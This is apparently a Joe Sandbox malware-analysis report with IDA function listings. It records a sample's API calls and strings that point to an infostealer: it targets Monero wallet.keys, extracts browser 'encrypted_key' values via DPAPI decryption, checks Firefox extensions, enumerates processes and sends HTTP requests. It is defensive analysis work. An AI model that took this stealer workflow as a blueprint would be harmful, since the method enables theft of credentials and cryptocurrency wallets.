Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 8ec660af442ac37d3f24c4c9407a34bbe2b404a179ea5bf6187e78db1520de82
Instruction ID: 45fbd983c84fb15dec1feb81e908a2e7fa42000479e4b002e55ff2101d34fcf7
Opcode Fuzzy Hash: 8ec660af442ac37d3f24c4c9407a34bbe2b404a179ea5bf6187e78db1520de82
Instruction Fuzzy Hash: 7F811D71910204EBDB05FBA4DD5AEEE73BDAF54300F508228F507A60D1EF786A09DB62

Function 006FF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

Part of subcall function 006F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006F99EC
Part of subcall function 006F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006F9A11
Part of subcall function 006F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006F9A31
Part of subcall function 006F99C0: ReadFile.KERNEL32(000000FF,?,00000000,006F148F,00000000), ref: 006F9A5A
Part of subcall function 006F99C0: LocalFree.KERNEL32(006F148F), ref: 006F9A90
Part of subcall function 006F99C0: CloseHandle.KERNEL32(000000FF), ref: 006F9A9A

Part of subcall function 00708E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00708E52

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00711580,00710D92), ref: 006FF54C
lstrlen.KERNEL32(00000000), ref: 006FF56B

Strings

moz-extension+++, xrefs: 006FF5AD
^userContextId=4294967295, xrefs: 006FF59C

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: f3aa72db3fa7ff1164967ce527fb47196a4e88b8d2d6329818f873f0ad94e057
Instruction ID: 5bc389496a3dfd8eb5f4248c4fb7f6ca2b8bc07b3c2ab67f87c88e90a0fa8e7e
Opcode Fuzzy Hash: f3aa72db3fa7ff1164967ce527fb47196a4e88b8d2d6329818f873f0ad94e057
Instruction Fuzzy Hash: D151D471D10208FADB05FBA4DC5ADED73B9AF54300F40C628F516A71D1EE386A09CBA2

Function 007070D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0070718C
sp, xrefs: 007072AE, 00707179, 0070717C
sp, xrefs: 00707111

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: sp$sp$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-370802878
Opcode ID: 0764f14246267bb398ab1430716a433bfec2f5adb6c332b2fe2a418b01d93320
Instruction ID: e42acec605dcc43f9d4b45766d48d0fd968b108ab93bcbf433952f3d8f517ea8
Opcode Fuzzy Hash: 0764f14246267bb398ab1430716a433bfec2f5adb6c332b2fe2a418b01d93320
Instruction Fuzzy Hash: DB5140B0D0421CEBDB18EB90DC95BEEB3B5AF54304F1082A8E215661C1EB787E88CF55

Function 006F9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 006F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006F99EC
Part of subcall function 006F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006F9A11
Part of subcall function 006F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006F9A31
Part of subcall function 006F99C0: ReadFile.KERNEL32(000000FF,?,00000000,006F148F,00000000), ref: 006F9A5A
Part of subcall function 006F99C0: LocalFree.KERNEL32(006F148F), ref: 006F9A90
Part of subcall function 006F99C0: CloseHandle.KERNEL32(000000FF), ref: 006F9A9A

Part of subcall function 00708E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00708E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 006F9D39

Part of subcall function 006F9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,No,00000000,00000000), ref: 006F9AEF
Part of subcall function 006F9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,006F4EEE,00000000,?), ref: 006F9B01
Part of subcall function 006F9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,No,00000000,00000000), ref: 006F9B2A
Part of subcall function 006F9AC0: LocalFree.KERNEL32(?,?,?,?,006F4EEE,00000000,?), ref: 006F9B3F

Part of subcall function 006F9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 006F9B84
Part of subcall function 006F9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 006F9BA3
Part of subcall function 006F9B60: LocalFree.KERNEL32(?), ref: 006F9BD3

Strings

, xrefs: 006F9DC1
DPAPI, xrefs: 006F9D89
"encrypted_key":", xrefs: 006F9D30

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 52a918bdc16bfb23b1db7c341d19238346459b1a25efe95b2d3248d0c45e9798
Instruction ID: 6620c43f9c9d11a2c37eae02e23be079e66f5caa0bfabd1e7d724c8783e9df11
Opcode Fuzzy Hash: 52a918bdc16bfb23b1db7c341d19238346459b1a25efe95b2d3248d0c45e9798
Instruction Fuzzy Hash: DD313EB5D1020DABCB04EBE4DC85BFFB7B9BF48304F144518EA05A7281E7349A04CBA5

Function 00708680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,007105B7), ref: 007086CA
Process32First.KERNEL32(?,00000128), ref: 007086DE
Process32Next.KERNEL32(?,00000128), ref: 007086F3

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

CloseHandle.KERNEL32(?), ref: 00708761

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 9af5e36110eae11d157bc71b98053541428d9059fedf001f5d44d2770778b475
Instruction ID: c03cfb3a8cae858381fb068edc6e7c93d40273b665f50453fcbf94fa3f330937
Opcode Fuzzy Hash: 9af5e36110eae11d157bc71b98053541428d9059fedf001f5d44d2770778b475
Instruction Fuzzy Hash: 2A314171911218EBCB65DF54CC45FEEB7B8EB45700F104299F10AA61D0DB786A45CFA2

Function 00706AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01239148,?,0071110C,?,00000000,?,00711110,?,00000000,00710AEF), ref: 00706ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00706AE8
CloseHandle.KERNEL32(00000000), ref: 00706AF9
Sleep.KERNEL32(00001770), ref: 00706B04
CloseHandle.KERNEL32(?,00000000,?,01239148,?,0071110C,?,00000000,?,00711110,?,00000000,00710AEF), ref: 00706B1A
ExitProcess.KERNEL32 ref: 00706B22

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: ba0d567dcd2bb8dcb01255b286f6e326cfe2fa30bf6504e8b8d2c0f8f4abd107
Instruction ID: 60ef51d97ff701dfe9c936e095272c0f87fc300c210715722c4e309ecdd4a935
Opcode Fuzzy Hash: ba0d567dcd2bb8dcb01255b286f6e326cfe2fa30bf6504e8b8d2c0f8f4abd107
Instruction Fuzzy Hash: 13F03AB0A44209EAE700BBA0DC2ABBE7AB4EB04701F208714B503E11D1CBB85540EA56

Function 006F47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006F4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 006F4849

Strings

<, xrefs: 006F47C9

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: a7d26c83c0948e70e837bedef0844a2201067c6ad8eded73801a3c98fec830f0
Instruction ID: 4c558f3d35348e96401fb1a19a10323814814be441e8a8d3626b100a4ef9e95a
Opcode Fuzzy Hash: a7d26c83c0948e70e837bedef0844a2201067c6ad8eded73801a3c98fec830f0
Instruction Fuzzy Hash: F6213EB1D00208EBDF14DFA4E849ADD7B78FB45320F108625F955A72D0DB706A05CF92

Function 007051F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

Part of subcall function 006F6280: InternetOpenA.WININET(00710DFE,00000001,00000000,00000000,00000000), ref: 006F62E1
Part of subcall function 006F6280: StrCmpCA.SHLWAPI(?,0123E8E8), ref: 006F6303
Part of subcall function 006F6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006F6335
Part of subcall function 006F6280: HttpOpenRequestA.WININET(00000000,GET,?,0123E3C8,00000000,00000000,00400100,00000000), ref: 006F6385
Part of subcall function 006F6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006F63BF
Part of subcall function 006F6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006F63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00705228

Strings

ERROR, xrefs: 0070521A
ERROR, xrefs: 00705273

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
